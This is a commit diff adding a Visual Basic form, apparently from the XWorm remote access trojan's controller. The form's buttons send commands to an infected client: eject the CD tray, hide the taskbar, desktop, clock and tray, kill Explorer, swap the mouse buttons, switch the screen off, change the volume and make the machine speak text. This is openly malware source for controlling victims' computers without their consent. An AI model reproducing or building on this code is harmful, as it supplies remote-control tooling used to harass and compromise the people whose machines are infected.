initial commit

XWorm/Forms/Fun.vb

@@ -0,0 +1,111 @@
+Imports System.Threading
+Public Class Fun
+
+    Public C As Client
+    Private Sub Fun_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
+        SendF("ClFun")
+    End Sub
+    Public Function SendF(ByVal MSG As String)
+        Dim B As Byte() = SB(MSG)
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Function
+
+    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
+        Try
+            If Not C.IsConnected Then
+                Close()
+            End If
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        SendF("openCD")
+    End Sub
+
+    Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
+        SendF("closeCD")
+    End Sub
+
+    Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
+        SendF("TaskShow")
+    End Sub
+
+    Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
+        SendF("Taskhide")
+    End Sub
+
+    Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
+        SendF("showstart")
+    End Sub
+
+    Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
+        SendF("hidestart")
+    End Sub
+
+    Private Sub Guna2GradientButton8_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton8.Click
+        SendF("KillEXP")
+    End Sub
+
+    Private Sub Guna2GradientButton7_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton7.Click
+        SendF("STEXP")
+    End Sub
+
+    Private Sub Guna2GradientButton10_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton10.Click
+        SendF("showDESK")
+    End Sub
+
+    Private Sub Guna2GradientButton9_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton9.Click
+        SendF("hideDESK")
+    End Sub
+
+    Private Sub Guna2GradientButton12_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton12.Click
+        SendF("SWMouseD")
+    End Sub
+
+    Private Sub Guna2GradientButton11_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton11.Click
+        SendF("SWMouseE")
+    End Sub
+
+    Private Sub Guna2GradientButton14_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton14.Click
+        SendF("ScreenON")
+    End Sub
+
+    Private Sub Guna2GradientButton13_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton13.Click
+        SendF("ScreenOFF")
+    End Sub
+
+    Private Sub Guna2GradientButton16_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton16.Click
+        SendF("showClock")
+    End Sub
+
+    Private Sub Guna2GradientButton15_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton15.Click
+        SendF("hideClock")
+    End Sub
+
+    Private Sub Guna2GradientButton18_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton18.Click
+        SendF("showTray")
+    End Sub
+
+    Private Sub Guna2GradientButton17_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton17.Click
+        SendF("hideTray")
+    End Sub
+
+    Private Sub Guna2GradientButton20_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton20.Click
+        SendF("VUP")
+    End Sub
+
+    Private Sub Guna2GradientButton19_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton19.Click
+        SendF("VDWM")
+    End Sub
+
+    Private Sub Guna2GradientButton21_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton21.Click
+        SendF("VMUT")
+    End Sub
+
+    Private Sub Guna2GradientButton22_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton22.Click
+        Dim B As Byte() = SB("speak" & SettingsHelper.SPL & Guna2TextBox1.Text.ToString)
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+End Class